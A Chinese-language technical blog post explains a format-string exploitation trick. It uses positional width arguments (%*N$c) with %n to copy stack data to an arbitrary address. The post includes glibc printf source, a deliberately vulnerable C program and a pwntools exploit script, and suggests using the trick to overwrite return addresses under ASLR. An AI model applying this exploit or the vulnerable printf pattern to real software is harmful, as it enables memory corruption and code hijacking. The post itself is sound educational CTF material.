站点图标 p0ise

格式化字符串任意地址写入栈上数据

利用限制

  1. 存在格式化字符串漏洞
  2. 每个格式化字符串只能实现一次
  3. 需要等待int长度空格的输出时间

利用原理

*可以通过参数指定格式化字符串的宽度,比如:

int width = 10;
char ch = 'a';
printf("|%*c|", width, ch);
// output:|         a|

这里就把width作为宽度,输出了长度为width的ch字符。

一般我们利用格式化字符串漏洞进行任意地址写时,一般都是先通过%xxc调整要写入的数据,然后通过%xx$n对指定位置参数指向的地址进行写入。

于是,进一步地,我们想到,能不能把指定位置的参数作为width,实现将栈上数据写入呢?

我们看到glibc实现printf的源码:

      /* Get width from argument.  */
    LABEL (width_asterics):
      {
    const UCHAR_T *tmp; /* Temporary value.  */

    tmp = ++f;
    if (ISDIGIT (*tmp))
      {
        int pos = read_int (&tmp);

        if (pos == -1)
          {
        __set_errno (EOVERFLOW);
        done = -1;
        goto all_done;
          }

        if (pos && *tmp == L_('$'))
          /* The width comes from a positional parameter.  */
          goto do_positional;
      }
    width = va_arg (ap, int);

    /* Negative width means left justified.  */
    if (width < 0)
      {
        width = -width;
        pad = L_(' ');
        left = 1;
      }

可以看到是实现了将指定位置参数作为宽度的方法的。

只需要在*后加上xx$就能将xx位置的参数作为宽度进行输入。

可惜,width都是作为int型读取的,这会给利用带来一些限制。特别注意,最高位为1时,会当作负数,然后取相反数,造成写入错误,可以通过%1073741824c%1073741824c代替。

配合任意地址写,可以免去一次栈上数据泄露,直接把需要的栈上数据写入目标地址。

PoC

漏洞源码:

#include <stdio.h>
int main()
{
    char s[100];
    int a = 1, b = 0x22, c = -1;
    printf("%p.%p.%p.%p\n", &a, &b, &c, &s);
    printf("%08x.%08x.%08x\n", a, b, c);
    scanf("%s", s);
    printf(s);
    printf("%08x.%08x.%08x\n", a, b, c);
    return 0;
}

exp:

from pwn import *

debug = True
local_path = './fmtstr'
context.binary = local_path
io = process(local_path)

if debug:
    # context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0','sp', '-V', '--title', 'gdb', 'bash', '-c']
    context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
    context.log_level = 'debug'

def exp():
    # offset:
    # 6     7       7.5     8
    addr_a, addr_b, addr_c, addr_s = [int(x, 16) for x in io.recvline(keepends=False).split(b'.')]
    val_a1, val_b1, val_c1 = [int(x, 16) for x in io.recvline(keepends=False).split(b'.')]
    log.info('addr of a:'+hex(addr_a))
    log.info('val a:' + hex(val_a1))
    log.info('val b:' + hex(val_b1))
    # try to change the value of a to the value of b
    payload = b'%*10$c%11$n'.ljust(0x10, b'a') + pack(addr_a)
    io.sendline(payload)
    val_a2 = int(io.recvuntil(b'.')[-9:-1], 16)
    val_b2, val_c2 = [int(x, 16) for x in io.recvline(keepends=False).split(b'.')]
    log.info('val a2:' + hex(val_a2))
    log.info('val b2:' + hex(val_b2))

if __name__=='__main__':
        exp()

这里实现了将b的值写入a。

总结

通过*n$指定位置参数作为宽度的手段,可以实现在不确定栈地址时向任意地址写入栈上数据。

在特定场合有奇效,比如:开启了地址随机化保护,无法确定栈地址,但栈上存在某些函数地址,因为栈上偏移固定,因此可以通过这种方法直接写入到返回地址上。

但是需要注意的是,因为我们用这种方法写入的栈上数据一般都是无法获取到的,因此,如果后续还需要通过同一格式化字符串写入数据,因为输出的字符数不确定了,会造成一定阻碍。(不如爆破hhh

一般现在比赛一个洞都需要完成一系列利用,这个限制就让这种利用方式显得有些鸡肋了。

退出移动版